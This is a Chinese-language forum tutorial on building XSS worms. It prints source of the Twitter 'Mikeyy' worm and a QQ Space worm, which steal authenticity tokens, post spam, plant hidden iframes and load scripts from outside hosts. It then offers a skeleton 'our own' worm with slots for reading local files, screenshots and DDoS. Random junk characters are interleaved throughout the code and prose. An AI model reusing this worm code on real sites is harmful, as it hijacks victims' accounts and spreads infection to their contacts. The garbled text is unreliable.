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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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3. function XHConn(){
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% o1 v5 I. p( K" u+ X2 s: K( A 4. var _0x6687x2,_0x6687x3=false; 9 R1 x+ Q5 [8 c- ?; N) M
* L9 c$ S( e( [. P) Q+ q8 V1 h 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
6 I; }: Y" a1 O* r
' }( e$ o1 ]$ Q2 N* R) Q; o' E, v5 } 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 6 r7 W# y2 h& w* m. R0 v( ?
% U& H9 T6 v# [# R 8. catch(e) { _0x6687x2=false; }; }; }; 1 Q" j& j! E: S8 f& e
复制代码第六版: 1. function wait() {
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+ y8 Q# o* ~/ k( O: O 2. var content = document.documentElement.innerHTML; & x8 m( p1 I: }8 H" E/ K
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3. var tmp_cookie=document.cookie; $ N+ X, e l& @, ]3 k; H) H5 ^
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4. var tmp_posted=tmp_cookie.match(/posted/); - g' r6 b6 m7 ~$ P L7 [* ]9 R
0 i! L" l9 b0 i% b# [ A5 L 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 2 v4 A7 {& `1 Y: s& k
. e( O3 r( A2 k$ O4 z 6. var authtoken=authreg.exec(content); ' _* L. M+ X& ^6 [
1 h( G$ J) N, K* P9 r! K 7. var authtoken=authtoken[1]; / a4 r# `" W& ]* r
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8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; $ }' }$ P& f7 p& m
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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4 n' X5 z! |1 |' K, ` 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; , ^, @/ A' S, f- |) Z0 H7 \
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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8 [3 s: d/ ~1 n# g# ~ 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 6 }$ H- Y# Q+ w6 {7 u1 ^& T- t+ n
' n6 k/ o+ s' [ 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; , P) S) u, P7 @# N' t+ M
5 u/ }% |2 Q M' f/ e- ~2 K0 X 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 7 R' O5 s6 B1 L# D4 M+ V
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 3 e6 D( l+ f+ _+ j6 V' N
4 y k- G G( d1 l 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; . {9 k2 k2 E6 I) M" C' B
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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3 }8 P1 N, b: S! D$ g9 b 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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, h' i; T! H" ?. P 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 0 y3 h. w8 |$ {, M& F
! z0 Q: V: n' Z- |" \! J2 ] 24.
- }! \1 ? P& i
- V9 x4 {) u; [ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; + a5 J/ _3 w' j7 u9 ^
0 G# q' b1 q3 X3 o0 P8 ]9 B 26. var updateEncode=urlencode(randomUpdate[genRand]); : x. j; @/ E4 J1 A
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27.
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9 O, N. [1 t( P/ x 28. var ajaxConn= new XHConn(); / R2 v+ i: K" K2 C8 G
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c); - V+ U$ N3 F0 t
9 \5 N p9 O3 E 32. var ajaxConn1= new XHConn(); 3 s* ~4 r& ?5 J- G" g
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); % u* ^: @1 }; V+ f
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; * [9 v0 r6 e6 W* N! D$ o5 F
& X# u+ j, z) O2 c$ _, Z6 V 35. var XSS=urlencode(genXSS); ' `- l% O# ?! L# ~# G
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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. ^2 g; y. a5 x0 z: R U 38.
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2 x) x H$ I* h" K( _) ?9 ^& M1 B& U 39. } ;
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' t- G' X' g+ ?# P# I, Y3 V' T6 a, l0 \ 40. setTimeout(wait(),5250); . P4 H! z/ u% k
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;5 |& _0 }2 Q6 A8 i8 w
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var shendu;shendu=4;" [0 ?% g( B8 z: o8 U' k
& X. E1 \2 O u' @5 q8 e+ q: ?6 p//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?) X; o; i. Z/ c D( e/ P: }) a! g
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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* E4 {# o# r% q2 I+ |1 rvar myblogurl=new Array();var myblogid=new Array();
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7 p3 a, i8 I& b2 l$ S) J var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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# Y# r; _, L% B& j4 J9 U& _, N6 X7 [7 T8 x gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
" p, }0 D& s4 t5 C0 a% n- y8 M$ X5 P% W* i+ h' \4 u2 ~' o! C2 I1 {
var cookieS=visitorID.indexOf("g_iLoginUin = ");
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+ |7 G+ ^ N' N) w* C+ n* ` visitorID=visitorID.substring(cookieS+14);9 x! u6 @' \. a2 f- e- {
" \2 _* Y/ e- n0 v* V6 e7 v cookieS=visitorID.indexOf(",");
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! ^: B' C7 ^, O1 H! L# \$ ]$ I visitorID=visitorID.substring(0,cookieS);
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$ P4 e1 ?4 U7 l e# p get_my_blog(visitorID);; i2 t; }! M! |- `/ q
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DOshuamy();
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5 g) a! [6 ]" R; n//挂马* `+ H. i( p' r( G" c
. p0 z9 _$ G, p2 `! X& R7 ]$ M' R. cfunction DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");3 d, I3 j3 b( V: `5 D0 [7 t i
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?! R& E+ m" R3 `$ r( q
: d) x0 x! ~; ]- u+ r/ Mfunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";. {2 u; e; t- i& z
( J. P0 ]3 d$ m r5 k xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象# _& b, P7 K) p
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if(xhr){ //成功就执行下面的9 _3 b o$ v+ l D% z `' G0 K
. }. W1 o; f% O- g5 I xhr.open("GET",userurl,false); //以GET方式打开定义的URL: \4 x9 l0 ^; s" ?- q1 `! K
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xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的. s5 A, v. c: J) m; o; V
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function get_my_blogurl(guest){, u1 P) F4 I( E
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var mybloglist=guest;+ e2 P6 O0 |& C( S1 {2 p
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var myurls;var blogids;var blogide;
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7 _- o6 i5 i! e( \" Z; n for(i=0;i<shendu;i++){! N8 D# i V' k' P( O
9 C. ?' o: \% R# ~! D) F+ E3 B myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的' j- g; s0 q5 U3 S
! m3 O9 K1 ~6 F3 a mybloglist=mybloglist.substring(myurls+11);
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/ V( C# Z! K+ f: E% q9 @ myurls=mybloglist.indexOf(')');+ @* W7 v N u! y+ l, V
* H* a. [$ Y: M. A. r: Z& @& i myblogid=mybloglist.substring(0,myurls);2 t* h& \8 M( C3 u/ _; k, K
: X+ Q3 F& ]! N7 K }else{break;}
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}
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* f3 r, @7 o t: @get_my_testself(); //执行这个函数
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( u- X$ ~6 p+ Y7 g' A9 R//这里往哪跳就不知道了
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function get_my_testself(){% c9 B* n! w6 h n+ C4 F% a
3 Z7 N; v6 U( W. Z/ O! T2 |1 j for(i=0;i<myblogid.length;i++){ //获得blogid的值7 u' _( D6 c& g0 r' j$ Z
& V( N+ x& F9 z X- e" Q9 ^ var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
- x, [8 o# c5 f' }2 o0 {& m5 r" D' A
/ h& w2 ?! [6 R4 e& k var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
0 x" O/ b/ m( N' ~4 m# s
+ X3 ^. e1 R1 b1 A; P6 y/ ] if(xhr2){ //如果成功
* k. j- D; k0 [" u; m& Q m1 {3 [. r$ H A9 |
xhr2.open("GET",url,false); //打开上面的那个url
4 U, n' ~5 {/ }' ?/ t3 i! @
m1 {0 Y; M- Q1 B xhr2.send();3 Z& D( K5 a! X/ k7 l
& a( V+ z: ^8 w2 J0 c# m guest2=xhr2.responseText;
# w$ ^, o# l$ g' `+ V, ^5 B* E" m" e1 F$ N: R. I+ {
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
# E! o& y7 ^3 H* x" L2 Y0 A) \0 @
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串$ Z% b2 v7 _9 s6 B! V. g3 H# b2 v
- u6 K1 G: \# | Z+ e9 B
if(mycheckmydoit!="-1"){ //返回-1则代表没找到
$ R f; [! C/ r
- p5 v6 x7 G7 |7 B6 ~: S- B- Z* b7 b targetblogurlid=myblogid; 2 O+ x5 Q+ o: P% G+ L' a; J- d
( _+ ]8 k5 ^8 X- U' y
add_jsdel(visitorID,targetblogurlid,gurl); //执行它" i) N7 V3 t$ O9 m
k+ g- b+ b5 M- H3 H$ ?% c break;
/ }- R) o9 w9 {0 Z9 V$ R
$ n2 T/ B9 I0 ~# E- ~ }$ v# j4 m* t4 s3 v7 k: s) Y
% b7 q) [7 j F) { if(mycheckit=="-1"){
0 r* o" r( l# s" q' r: P* A- B" \6 a3 H/ s/ n ?
targetblogurlid=myblogid;+ W& W' ~0 S. }9 H1 S [5 Y9 { J
* R e, `. l" T$ c4 w add_js(visitorID,targetblogurlid,gurl); //执行它( a. s1 j( H& O+ q/ ]3 p l) l9 u5 J
+ V& d6 J* a$ g- j) R6 d$ r break;4 }# t8 P4 @7 X$ d% P* l; o
: e) d! r* S; V: g' y0 b
}
; k( y% J' v7 k2 n
% Z1 J, y5 e7 l, K1 d } 0 ? O7 ~9 C% R1 [
3 m, q2 \) X s) A$ E! p}2 | A" `3 r' \; i
( E8 b+ {0 M3 B
}5 K1 B( G5 n& [: V
( D0 S) B) }% F4 b3 t
" V0 s# t9 y# ~, s. |! ^2 k' a1 H# |3 e0 b0 p3 q
//-------------------------------------- 8 V3 R: @- A# X- B- Q
4 Z, _1 d. j }# E e
//根据浏览器创建一个XMLHttpRequest对象
4 Q0 c( s3 G- r. l2 ^/ H9 {6 u
. ]' ~5 X5 g: sfunction createXMLHttpRequest(){1 r2 S, M1 G( Z2 D3 i3 v* V6 \
: _; ]- m, u. e8 ^8 l- {/ ^/ ^
var XMLhttpObject=null; ( V* ~7 H q; q0 D& U9 b
8 H* ^/ I7 W$ j# F2 Z) L% S! F if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
5 }; Q8 C+ [4 Q. z2 W$ T8 ]+ R- J& }- E8 y5 q; S1 g1 D. D7 d. z0 n
else
" I! b( `" Y/ C4 y! a
5 ~2 W6 R) I/ z% i! Q. ^ b2 G" m { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
0 I% T4 @9 ~3 L7 ~3 l7 C! j* V7 |3 T
- H7 z; T5 @! L6 D. y9 R: L; N for(var i=0;i<MSXML.length;i++)
0 Y1 v1 I, ^- n5 E3 A7 @
x, R0 d0 }, s6 a; V7 a c' D {
0 |8 X2 I, T' C- T- O' c4 t& J% R1 x. l5 k
try
$ [7 B0 x3 X0 @. D( z% A6 L+ p1 ^ T7 M8 [$ h% B' a
{
' n4 k b4 j) w; l$ d& S- r
" K6 X& U l) Y( N2 q XMLhttpObject=new ActiveXObject(MSXML);
$ e0 X9 W5 \% ~% d
4 ]6 m2 T& r' ?( h6 c6 _2 Z1 v break; 7 c& H; g6 c. F6 S) W! t
, u% O+ d; ~+ y
} 2 A) r. ?# \8 g8 }8 z- A$ u6 X
: W: a3 @- {! T4 w# b
catch (ex) { 0 G2 l2 z/ S& a( X" A
% n5 L6 h. Z" Q6 {+ y7 D } $ F* J1 c5 N: Q& |- \
5 C/ N e, k) d }
; L& r9 O# P+ m; l# l; B" X0 T" f8 J$ g3 P
}
% S" b; }+ [+ ~3 ]! v0 _, o; t" J
return XMLhttpObject;: J- e1 f8 e9 J* v! i6 k
( \5 R0 O0 e! p: T2 i$ ?9 l
} 3 f# s9 ~7 `7 N+ }- u
" Y% y" H2 b1 g6 I4 d* m$ r
! i. P: c: j; C* U* F
: `: J: v- @* g' O$ J) H+ t//这里就是感染部分了
( ^4 w/ l4 H }/ b4 o
2 k0 n5 D' e1 V9 [- }function add_js(visitorID,targetblogurlid,gurl){ }; f! P# P' B1 h: {
1 Z8 E+ _( i* X# ? Avar s2=document.createElement('script');4 R2 \& V+ v* d6 A4 r: I/ a1 E
* e/ G% H4 i1 Q* R. [2 rs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();# w2 f0 Q% Y3 ^
6 y0 l0 t% _) F' r9 l* g3 E- ss2.type='text/javascript';6 D1 q5 M7 j7 o& f: w# q; i z
- @9 X# S' D3 ^! ?9 y! \0 P8 k
document.getElementsByTagName('head').item(0).appendChild(s2);
: u# O2 G0 ^! L9 |5 Y
- S; K: E& c: X/ E+ O5 ^}' Z2 I% f6 P0 {' C
" ^$ }- p" b% \* H; t0 v
6 G( N# ]1 ]5 r- S
: d0 X6 L$ I r$ pfunction add_jsdel(visitorID,targetblogurlid,gurl){
" o: Z0 ~4 B8 p( u$ M+ O
( b2 Z% H; y5 s7 [var s2=document.createElement('script');% N) S/ m2 R& q4 y+ s
3 \. D- b" l0 j% _+ i" g% C; ts2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' l3 }1 E5 l1 ^& z( x! w. M/ m0 [% O, v! U* A' _, ^4 r
s2.type='text/javascript';- R. b. g0 f6 b4 o8 |3 H! Z
D% P; m0 m6 a
document.getElementsByTagName('head').item(0).appendChild(s2);9 }! N3 B8 ^0 o/ c& l
- G+ F$ d) }, M) K) H0 n5 [0 V}
. @/ W% y% N0 L& [复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:; N. N$ A: r7 ?) s0 n8 }* Y7 G
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)! c; o* L% R! o" ~* q5 k3 q
( N; ?, C4 S6 H* i# ^' e
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
: l4 c8 z% `4 v& q/ D7 K1 j4 Q9 X. R/ A% N
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# J0 F8 _" ]3 X3 \2 }5 C g
- P/ s# G; r7 H$ h/ M
, [' I3 o, g1 ]5 n! h w下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.0 c7 [! E9 W1 Z$ e2 V7 Z# s
- {6 d0 f. V1 J% c, {& ]7 A首先,自然是判断不同浏览器,创建不同的对象var request = false;3 L% Z9 h, U& k2 o9 ^4 v9 ^
5 U" ?7 w" ^ e
if(window.XMLHttpRequest) {
% x5 h: u% K# l( e7 m' Q2 u; Q
7 h2 d# k1 n+ Q# yrequest = new XMLHttpRequest();
G- B- [- C0 b& U
! I' J6 |' \' m8 _! ]7 Aif(request.overrideMimeType) {! b( K; D( ^; r3 `6 y, ?) C
3 B8 e3 q# W# ]
request.overrideMimeType('text/xml');; L$ b8 C( i! ?0 Y
+ P+ y8 N$ N# M) ~: J) v
}6 D+ Y) o5 v7 z. L2 b; V5 A
- K: b! j) H& z+ d} else if(window.ActiveXObject) {9 G! W& c5 D, Y2 M
3 B: x4 F, i6 H* b( r$ B. pvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. |7 {8 E9 _! ~# p$ d) b$ {2 I% j5 c" ~
for(var i=0; i<versions.length; i++) {
8 F) m4 |0 ~ u2 J9 P. s3 Y1 D5 w; e- O4 j v
try {' N, k4 `& T6 s
/ s- M1 H" S! r
request = new ActiveXObject(versions);
+ A( q) X, m: g9 w, O- p2 S
u' ]+ S2 g- j }! Q} catch(e) {}
0 k- s8 f( _/ z* G0 i: w8 q& n9 M" D* Z! Y) }8 B
}
: D7 q) Q' J4 n8 [* t/ e p; _' Q& F" ]2 f6 {* ?+ D- ?4 z
}
- r9 I- a3 G0 x, j9 R
2 B/ ]( r/ S9 C) P3 X: E3 gxmlHttpReq=request;. ^/ y( L: v% E& Y7 l: y o, l9 g
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
8 N% Y1 k( \7 ~2 ^% ~( c* l- R, s1 {/ k: b4 @ D/ M: a' D" \
var Browser_Name=navigator.appName;& d6 V% Z, s4 m+ f$ R+ n; i
" R7 v7 B/ |3 n2 @ var Browser_Version=parseFloat(navigator.appVersion);
, C( u4 v9 B i$ W3 }# i `) }4 d, {3 N2 B. g2 ~
var Browser_Agent=navigator.userAgent;
) N |# K9 K7 A. v8 H; k
0 I# _# N; n( o1 M$ I
2 m/ G+ \$ Q; g c! S( x
+ y9 `5 s. Y* G var Actual_Version,Actual_Name;
: H, [# |* w7 R, |+ _
+ W1 y0 [$ H; n" ~/ m: b 7 L; D8 z7 {8 h8 t4 r$ X) C U
; V" d F) b- U7 a var is_IE=(Browser_Name=="Microsoft Internet Explorer");
% J" B+ K( C9 a% W5 u, k" i! ?8 z3 a2 u$ H4 s2 } C
var is_NN=(Browser_Name=="Netscape");$ E2 U+ J; T; l% W$ e6 y( V
" ]. C' T1 l5 H0 X( U B5 n var is_Ch=(Browser_Name=="Chrome");1 g' X3 f0 y3 @3 j
9 P; I% [2 N5 T# t$ g" X8 L( y
1 G6 }) \+ b% m& Z ^1 J, ?: v' }; |3 b' P+ H
if(is_NN){
7 y( l( e% J. Z
" i1 h* ^: w& R7 e if(Browser_Version>=5.0){6 y9 Z9 m6 Q& w0 E
8 B% X4 Y5 j# c* D var Split_Sign=Browser_Agent.lastIndexOf("/");
" ~9 |- R: W, f, C+ n& k0 L
5 f2 O5 A# K6 w. M var Version=Browser_Agent.indexOf(" ",Split_Sign);
8 B+ A6 m2 V- A# Q$ G6 @4 k
" s ~! H8 d. p7 [5 Z' [ var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
( G" d- L6 \5 x' Z( i( q
# V- R: i; F' } l8 C
* g9 j& Q, E# K3 h/ ~9 S4 r4 O4 g! }6 ?6 w
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
# J! d' D L) j, y s# j. O; f
3 L, c' f _) q Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);3 `# N( O" y/ r
8 t6 r" x% E) Q
}
' I% S5 c1 V3 B+ ?: X( L# @# O% J1 j9 o
else{, o, v2 F' |' L" s' c
3 a: k1 Q( N. t: c) Y
Actual_Version=Browser_Version;
4 u5 W+ I! W4 L6 a" U/ r0 [
; I6 U- e# M- @ Actual_Name=Browser_Name;) _4 A( c' c0 {, _$ u9 j/ P
* T4 f3 }' M7 i! } }
0 j+ W; }7 i+ {5 m
( c& G" R/ w [ }7 R" y! g5 D [/ S1 d
3 U' [6 H+ r+ U) k else if(is_IE){+ G _' f$ d4 r" r8 _5 Y
0 R9 F2 W( \' y9 a7 c& U, P
var Version_Start=Browser_Agent.indexOf("MSIE");! a0 @& C) [: i1 [: V/ R
3 C3 u) [ C6 B+ ^2 y$ r var Version_End=Browser_Agent.indexOf(";",Version_Start);
. r8 N; j5 N. e: n: k5 H! f: a3 k2 l/ r' |8 c
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)0 `0 o& X3 v0 S% K* F( \# {
9 k; d/ n* W4 C( |# l6 ^. v+ Y7 \* ^ Actual_Name=Browser_Name;: a/ H+ M$ Z( H/ U9 s1 S* o4 _
$ b3 X n0 {5 A. @6 p! c : b/ g6 ^- t4 V$ k+ B- o( r& e
& R3 E6 |; K- e2 _/ T& l1 P
if(Browser_Agent.indexOf("Maxthon")!=-1){6 Y m; q1 M4 l8 Q9 D2 |/ D( F! |
! x- N/ P( b' K. [ Actual_Name+="(Maxthon)";- O' {# y6 }9 c* j" |' s+ J8 H6 B$ ?
! l$ z0 D( J( p3 c }2 z8 v7 Y) s0 s& g, ~( i6 t+ Y
( `2 G5 t; j0 n1 L' R
else if(Browser_Agent.indexOf("Opera")!=-1){
9 _ }) j) o# E" q6 v, b( |, {
) t/ x0 p. m( X6 ]& O Actual_Name="Opera";# E, g9 ?/ a2 Y, I/ c. o" \2 P& H
3 n- A m0 @6 `" `8 ~
var tempstart=Browser_Agent.indexOf("Opera");. f+ e2 w& }+ A9 p% L
: W; D3 q3 }: t# N c5 d, `3 s
var tempend=Browser_Agent.length;; z/ z4 k0 C* Z% @) h% ~/ x9 z
( b# d5 f; Z4 | Actual_Version=Browser_Agent.substring(tempstart+6,tempend)4 f. ^; n% S5 `: R& G3 ?! x- d w( K' f# }
8 B: h+ p3 d& b8 r
}- s( f+ R' \" l5 I' T
# g; r1 ?* |& @3 ` }
2 \6 U4 L/ L4 [3 n3 M5 z3 o2 @2 a- i6 k1 }2 K: V
else if(is_Ch){
& D, G! _: V' B4 l2 S
, ]+ C! \# Q' d2 g var Version_Start=Browser_Agent.indexOf("Chrome");
. I W S/ D- c( w+ o" d. S& u# W! C
var Version_End=Browser_Agent.indexOf(";",Version_Start);( R0 T* Z# h' g) [. v
& F0 }' J( ^2 M7 d2 x$ l Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)$ ]- l3 o7 G9 `; q7 J, q
( j2 O' O# ?, P+ e& {
Actual_Name=Browser_Name;
- a3 W1 q$ R: R- c: T6 V8 W' x. Q5 x# J: H4 ]5 O9 L( k( ~
5 z3 H( z2 E: }$ x) P
/ D+ J/ @0 d$ k8 R0 b9 { if(Browser_Agent.indexOf("Maxthon")!=-1){, n$ s8 e9 u* J- l: [, r2 b E
1 V. S8 W% a! N! c- Q* O. C
Actual_Name+="(Maxthon)";
: X# v. y& w, ?& b5 h! U
, [8 n" Y) @5 f6 H2 y X }4 r& g, R) U3 [8 J
2 _6 @0 A& D/ h else if(Browser_Agent.indexOf("Opera")!=-1){- E! |# c$ I; \. f8 g- @: a
; J( n. f- B$ h0 \$ y Actual_Name="Opera";0 V- A' i; U6 G7 i$ S: F0 t3 T
0 }4 m0 ]3 L$ E) e9 x5 G) v2 Q
var tempstart=Browser_Agent.indexOf("Opera");
+ v0 }1 n2 `1 I/ ^, a: n3 ~" @+ `- P4 V3 D7 a# ~" y7 a" S
var tempend=Browser_Agent.length;% z8 i7 O" \: X4 z2 B, ~
9 V. o7 F* A: P( V4 e Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& a! M5 K/ I' S/ G3 B6 ^
1 M$ _- Q! t- R4 Y. R }/ N- k2 e& q9 _4 T
& U: T) ?: r* P( w }
3 t7 a8 S; A' _" B4 q. q& r' X3 I" q- Y* i* K; Q9 G; Q2 O- c
else{' N2 m5 e3 }! O: ?9 Q* _
, G4 F \& `4 N* F1 E Actual_Name="Unknown Navigator"0 f3 y. b* t6 @6 Y6 u& T
$ S' X* Z. J1 O! e7 m, [ Actual_Version="Unknown Version"+ H. A5 @3 Z7 O3 k
: N. T; ~2 G) w }! r4 f8 b9 @# `) I
7 T6 p' w; T1 I. |9 ` r" F: f5 ]- q$ B
9 l, _3 c# D* U! G. l2 ?( D( V) L0 Y
navigator.Actual_Name=Actual_Name;- j4 V2 |( ^: R# s4 R
8 z7 L4 @& _* F' [( w. ~/ e8 K navigator.Actual_Version=Actual_Version;- F& I) Y; v, n7 E. ]6 u, U
0 F( o7 r, M I
2 b3 q+ L$ o) Q; o6 z' t3 Z. v4 |
6 S( t: w, }3 @- T
this.Name=Actual_Name;
; u1 z$ P2 l* U% I: t7 c6 V6 ]8 {/ k+ ?/ w8 k) s. z* q( j$ y
this.Version=Actual_Version;
( A/ o& Y/ V( X$ o9 F, Y* }, W' h) X a! V+ }
}
4 ?1 H5 |! y# G
) {2 i p* x% W: b+ x& ^* V browserinfo();
0 p+ V2 T' d# q! k! m7 n0 X
5 X" c7 l+ K: z if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}: g% v5 q' _3 F8 u
4 v$ N7 @8 e0 M3 |. l" A if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}% V+ C. p- D3 ~$ t }% h- Q, r$ b3 V
0 q; D. Z# T8 ~# k& N- B+ E4 B( i if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
3 H6 {) F. n' l, x) K; d
# Z! Z6 W: v, s! ] if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
- g. i# x$ Z" o, r* |. S复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) X1 l8 Z8 |' y" d复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码6 p5 s5 v: V. Q3 o! d9 }% e; ^$ P4 c* b
